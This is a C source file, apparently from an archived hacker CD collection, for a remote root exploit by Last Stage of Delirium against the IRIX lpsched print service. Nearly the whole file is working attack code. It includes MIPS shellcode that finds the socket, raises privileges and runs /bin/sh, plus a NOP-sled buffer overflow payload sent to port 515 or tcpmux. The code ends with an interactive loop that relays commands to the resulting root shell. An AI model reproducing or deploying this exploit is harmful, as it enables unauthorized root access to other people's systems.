home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / irix / irx_lpsched2.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  7.3 KB  |  198 lines

  1. /*## copyright LAST STAGE OF DELIRIUM may 2000 poland        *://lsd-pl.net/ #*/
  2. /*## lpsched                                                                 #*/
  3.  
  4. /*   lpsched usually runs on TCP port 515. sometimes it is not bound to this  */
  5. /*   port - in such case lpsched can be reached through tcpmux/sgi_printer    */
  6. /*   (port 1) and printerd. this code exploits one of several buffer overflow */
  7. /*   vulnerabilities that exist in the lpsched code. as a result of its use   */
  8. /*   against a vulnerable system, the interactive shell is executed under the */
  9. /*   privilages of the root user.                                             */
  10.  
  11. /*   remote exploitation requires that a connection is established from the   */
  12. /*   root account (port<1024) and that a proper modification to the DNS       */
  13. /*   is made, so that the attackers' IP address is mapped to the "localhost"  */
  14. /*   name.                                                                    */
  15.  
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <netinet/in.h>
  19. #include <unistd.h>
  20. #include <netdb.h>
  21. #include <stdio.h>
  22. #include <fcntl.h>
  23. #include <errno.h>
  24.  
  25. #define NOPNUM 2700
  26. #define ADRNUM 1040
  27.  
  28. char findsckcode[]=
  29.     "\x04\x10\xff\xff"     /* bltzal  $zero,<findsckcode>    */
  30.     "\x24\x10\x01\x90"     /* li      $s0,400                */
  31.     "\x22\x11\x01\x9c"     /* addi    $s1,$s0,412            */
  32.     "\x22\x0d\xfe\x94"     /* addi    $t5,$s0,-(400-36)      */
  33.     "\x03\xed\x68\x20"     /* add     $t5,$ra,$t5            */
  34.     "\x01\xa0\xf0\x09"     /* jalr    $s8,$t5                */
  35.     "\x97\xeb\xff\xc2"     /* lhu     $t3,-62($ra)           */
  36.     "\x24\x0c\x12\x34"     /* li      $t4,0x1234             */
  37.     "\x01\x6c\x58\x23"     /* subu    $t3,$t3,$t4            */
  38.     "\x22\x0d\xfe\xbc"     /* addi    $t5,$s0,-(400-76)      */
  39.     "\x11\x60\xff\xf9"     /* beqz    $t3,<findsckcode+16>   */
  40.     "\x22\x24\xfe\xd4"     /* addi    $a0,$s1,-300           */
  41.     "\x23\xe5\xff\xc0"     /* addi    $a1,$ra,-64            */
  42.     "\x23\xe6\xff\xfc"     /* addi    $a2,$ra,-4             */
  43.     "\x24\x02\x04\x45"     /* li      $v0,1093               */
  44.     "\x03\xff\xff\xcc"     /* syscall                        */
  45.     "\x22\x31\xff\xff"     /* addi    $s1,$s1,-1             */
  46.     "\x10\xe0\xff\xf4"     /* beqz    $a3,<findsckcode+24>   */
  47.     "\x22\x2b\xfe\xd4"     /* addi    $t3,$s1,-300           */
  48.     "\x1d\x60\xff\xf7"     /* bgzt    $t3,<findsckcode+44>   */
  49.     "\x22\x04\xfe\x72"     /* addi    $a0,$s0,-398           */
  50.     "\x24\x02\x03\xee"     /* li      $v0,1006               */
  51.     "\x03\xff\xff\xcc"     /* syscall                        */
  52.     "\x22\x24\xfe\xd5"     /* addi    $a0,$s1,-299           */
  53.     "\x24\x02\x04\x11"     /* li      $v0,1041               */
  54.     "\x03\xff\xff\xcc"     /* syscall                        */
  55.     "\x22\x10\xff\xff"     /* addi    $s0,$s0,-1             */
  56.     "\x22\x0b\xfe\x72"     /* addi    $t3,$s0,-398           */
  57.     "\x05\x61\xff\xf7"     /* bgez    $t3,<findsckcode+80>   */
  58. ;
  59.  
  60. char setreuidcode[]=
  61.     "\x24\x02\x04\x01"     /* li      $v0,1024+1             */
  62.     "\x20\x42\xff\xff"     /* addi    $v0,$v0,-1             */
  63.     "\x03\xff\xff\xcc"     /* syscall                        */
  64.     "\x30\x44\xff\xff"     /* andi    $a0,$v0,0xffff         */
  65.     "\x30\x05\xff\xff"     /* andi    $a1,$zero,0xffff       */
  66.     "\x24\x02\x04\x64"     /* li      $v0,1124               */
  67.     "\x03\xff\xff\xcc"     /* syscall                        */
  68. ;
  69.  
  70. char shellcode[]=
  71.     "\x04\x10\xff\xff"     /* bltzal  $zero,<shellcode>      */
  72.     "\x24\x02\x03\xf3"     /* li      $v0,1011               */
  73.     "\x23\xff\x01\x14"     /* addi    $ra,$ra,276            */
  74.     "\x23\xe4\xff\x08"     /* addi    $a0,$ra,-248           */
  75.     "\x23\xe5\xff\x10"     /* addi    $a1,$ra,-220           */
  76.     "\xaf\xe4\xff\x10"     /* sw      $a0,-220($ra)          */
  77.     "\xaf\xe0\xff\x14"     /* sw      $zero,-236($ra)        */
  78.     "\xa3\xe0\xff\x0f"     /* sb      $zero,-241($ra)        */
  79.     "\x03\xff\xff\xcc"     /* syscall                        */
  80.     "/bin/sh"
  81. ;
  82.  
  83. char nop[]="\x24\x0f\x12\x34";
  84.  
  85. main(int argc,char **argv){
  86.     char buffer[10000],address[4],*b;
  87.     int sck,sck2,i,c,n,on=1,tcpmux=0;
  88.     struct sockaddr_in adr;
  89.     struct hostent *hp;
  90.  
  91.     printf("copyright LAST STAGE OF DELIRIUM may 2000 poland  //lsd-pl.net/\n");
  92.     printf("/usr/lib/lpsched for irix 6.2 6.3 IP:22\n\n");
  93.  
  94.     if(argc<2){
  95.         printf("usage: %s address [-m]\n",argv[0]);exit(-1);
  96.     }
  97.  
  98.     while((c=getopt(argc-1,&argv[1],"m"))!=-1){
  99.         switch(c){
  100.         case 'm': tcpmux=1;
  101.         }
  102.     }
  103.  
  104.     *(unsigned int*)address=0x7fff1f60+1300;
  105.  
  106.     printf("adr=0x%08x ",ntohl(*(unsigned long*)address));
  107.     fflush(stdout);
  108.  
  109.     sck=socket(AF_INET,SOCK_STREAM,0);
  110.     adr.sin_family=AF_INET;
  111.     adr.sin_addr.s_addr=htonl(INADDR_ANY);
  112.     for(i=513;i<1024;i++){
  113.         if(!(i&0xff)) continue;
  114.         adr.sin_port=htons(i);
  115.         if(!bind(sck,(struct sockaddr*)&adr,sizeof(adr))) break;
  116.     }if(i==1024) goto err; 
  117.     n=i;
  118.  
  119.     sck2=socket(AF_INET,SOCK_STREAM,0);
  120.     for(i=200;i<1024;i++){
  121.         adr.sin_port=htons(i);
  122.         if(!bind(sck2,(struct sockaddr*)&adr,sizeof(adr))) break;
  123.     }if(i==1024) goto err;
  124.  
  125.     setsockopt(sck,SOL_SOCKET,SO_REUSEADDR,(void*)&on,sizeof(on));
  126.     setsockopt(sck2,SOL_SOCKET,SO_REUSEADDR,(void*)&on,sizeof(on));
  127.  
  128.     adr.sin_family=AF_INET;
  129.     adr.sin_port=htons(tcpmux?1:515);
  130.     if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  131.         if((hp=gethostbyname(argv[1]))==NULL) {errno=EADDRNOTAVAIL;goto err;}
  132.         memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
  133.     }
  134.  
  135.     if(connect(sck2,(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
  136.     if(tcpmux) {write(sck2,"sgi_printer\n",12);read(sck2,buffer,1024);}
  137.     printf("port=%d connected! ",n);fflush(stdout);
  138.  
  139.     findsckcode[28+2]=(char)((n&0xff00)>>8);
  140.     findsckcode[28+3]=(char)(n&0xff);
  141.  
  142.     b=buffer;
  143.     sprintf(b,"\x01   ");b+=4;
  144.     for(i=0;i<ADRNUM;i++) *b++=' ';
  145.     for(i=0;i<NOPNUM-(tcpmux?600:0);i++) *b++=nop[i%4];
  146.     for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
  147.     for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
  148.     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  149.     *b++='\n';
  150.     *b=0;
  151.     write(sck2,buffer,strlen(buffer));
  152.     close(sck2);
  153.     printf("sent! ");
  154.     sleep(1);
  155.  
  156.     if(connect(sck,(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
  157.     if(tcpmux) {write(sck,"sgi_printer\n",12);read(sck,buffer,1024);}
  158.  
  159.     b=buffer;
  160.     sprintf(b,"T  ");b+=3;
  161.     for(i=0;i<ADRNUM;i++) *b++=address[i%4];
  162.     *b++='\n';
  163.     *b=0;
  164.     write(sck,buffer,strlen(buffer));
  165.     printf("sent!\n");
  166.  
  167.     write(sck,"uname -a\n",9);
  168.     while(1){
  169.         fd_set fds;
  170.         FD_ZERO(&fds);
  171.         FD_SET(0,&fds);
  172.         FD_SET(sck,&fds);
  173.         if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
  174.             int cnt;
  175.             char buf[1024];
  176.             if(FD_ISSET(0,&fds)){
  177.                 if((cnt=read(0,buf,1024))<1){
  178.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
  179.                     else break;
  180.                 }
  181.                 write(sck,buf,cnt);
  182.             }
  183.             if(FD_ISSET(sck,&fds)){
  184.                 if((cnt=read(sck,buf,1024))<1){
  185.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
  186.                     else break;
  187.                 }
  188.                 write(1,buf,cnt);
  189.             }
  190.         }
  191.     }
  192.     exit(0);
  193.  
  194. err:
  195.     perror("error");
  196. }
  197.  
  198.